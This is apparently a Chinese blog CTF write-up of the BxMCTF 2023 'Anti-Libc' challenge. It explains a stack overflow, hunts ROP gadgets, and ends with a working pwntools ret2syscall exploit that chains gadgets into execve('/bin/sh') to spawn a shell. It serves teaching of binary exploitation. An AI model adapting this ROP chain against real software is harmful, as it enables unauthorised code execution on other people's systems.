• CTF-栈溢出-基本ROP-【ret2syscall】


    ret2syscall

    即控制程序执行系统调用,获取 shell。

    BxMCTF 2023 Anti-Libc

    main

    在这里插入图片描述

    write_buf

    写入字符的,待会输出
    在这里插入图片描述

    flush_obuf

    把字符输出到屏幕
    在这里插入图片描述

    readint

    输入要接下来要输入的数的长度,正负号会相应的判断和跳转
    在这里插入图片描述

    read_buf

    如果发现start和end相同时,重写输入,否则返回输入的数据所在数组的一个start位置所在的字节
    这里的sys_read存在很明显的溢出
    在这里插入图片描述

    思路

    不是我说,这坨shit真的绕(我太菜了)
    shit之处在于汇编的源码最后的那个循环中有个inc r10,然后IDA没有,直接原地继续赋值EMMMMMMMM
    在这里插入图片描述
    在这里插入图片描述
    发现这个bug后题目就轻松很多了

    查看文件静态链接
    在这里插入图片描述
    查看保护(不符合老外的出题特色了都)
    在这里插入图片描述
    肯定溢出构造ROP链嘛,然后系统调用嘛

    32位和64位的syscall原理都是一样
    只有传参和调用存在差异,以下一起说,做个对比
    32位系统调用使用 " int 80h "
    64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget–only查找即可)
    32的系统调用号与64位的不大一样 使用的时候最好百度一下
    比如
    32位 #define __NR_execve 11
    64位 #define __NR_execve 59
    32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP
    64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)

    首先找rdi嘛
    在这里插入图片描述
    0x0000000000401135入选
    看看 jmp 0x401106
    在这里插入图片描述
    有ret但是esi的值会减1,rdi的值会加1
    emmm但会构造一下应该就好了
    rax试试
    在这里插入图片描述
    寄了
    eax试试
    在这里插入图片描述
    寄了
    ax
    在这里插入图片描述
    寄了
    al
    在这里插入图片描述
    也寄了
    只能反汇编了找了

    在这里插入图片描述
    找到了
    在这里插入图片描述
    看看对应位置的汇编代码
    在这里插入图片描述
    发现需要构造%ebx寄存器
    正好下面有一个
    在这里插入图片描述
    美哉 美哉
    那最后咋调用系统调用呢?
    发现这里有个move %rbp %rsp,那么如果之前存储的rbp合适的话,那么可以继续ROP,rbp应该为在syscall调用前的前十六个字节,因为还要有pop rbp和pop rbx得抵消掉

    exp

    很shit的一点是。。。忘记两次sendline如果时间过短会被程序当作一次性接受了

    from pwn import *
    #context(os="linux",arch="amd64",log_level="debug")
    e = ELF("./main")
    p = process("./main")
    #p = gdb.attach(p, "b*main")
    offset = 64  
    input_buf = 0x402020
    onemore = b"\x00"
    BIN_SH = b"/bin/sh\x00"
    EVIL = onemore + BIN_SH 
    DUMMY_RBP = p64(1)  #随便填
    DUMMY_RBX = p64(1)  #随便填
    SYSCALL = p64(0x401055)
    EVIL_ADDRESS = input_buf +len(DUMMY_RBP + DUMMY_RBX + SYSCALL)#作为rdi
    POP_RSI_RDI = p64(0x401135)  # pop rsi ; pop rdi ; jmp 0x401106
    POP_RBX = p64(0x40109C)
    MOV_EBX_EAX = p64(
        0x40108D
    )  # mov %ebx,%eax ; neg %ebx; cmpb $0x1,(%rsp); cmove %ebx,%eax ; mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret
    RSI = p64(1)
    RDI = p64(EVIL_ADDRESS)
    RBX = p64(0x3B)  # it'll go into RAX which is needed for correct syscall
    RBP = p64(input_buf)  # 最后的MOV_EBX_EAX这个地方最后有mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret从而可以执行系统调用
    
    
    payload = DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL
    padding = b"A" * (offset - len(DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL))
    payload += padding + RBP + POP_RSI_RDI + RSI + RDI
    payload += POP_RBX + RBX + MOV_EBX_EAX
    print(len(payload))
    print(p.recvuntil("input? "))
    p.sendline(str(len(payload)))
    sleep(3)   # 防止间隔时间太多被当作一次性发过去了
    p.sendline(payload)
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
  • 相关阅读:
    CSS 什么是伪类?什么是伪元素?
    MeteoInfo-Java解析与绘图教程(八)_java解析卫星FY-4A一级产品文件(HDF举例)
    排序算法(一)
    算法基础入门 - 2.栈、队列、链表
    解决win10因为WSL问题无法正常启动docker
    单调栈题目:股票价格跨度
    编程高手必学的内存知识05:深入理解页中断
    【云原生】gitlab+jenkins自动化部署springboot项目实战01
    CSS3_媒体查询
    Linux下的Framebuffer编程
  • 原文地址:https://blog.csdn.net/llovewuzhengzi/article/details/134494797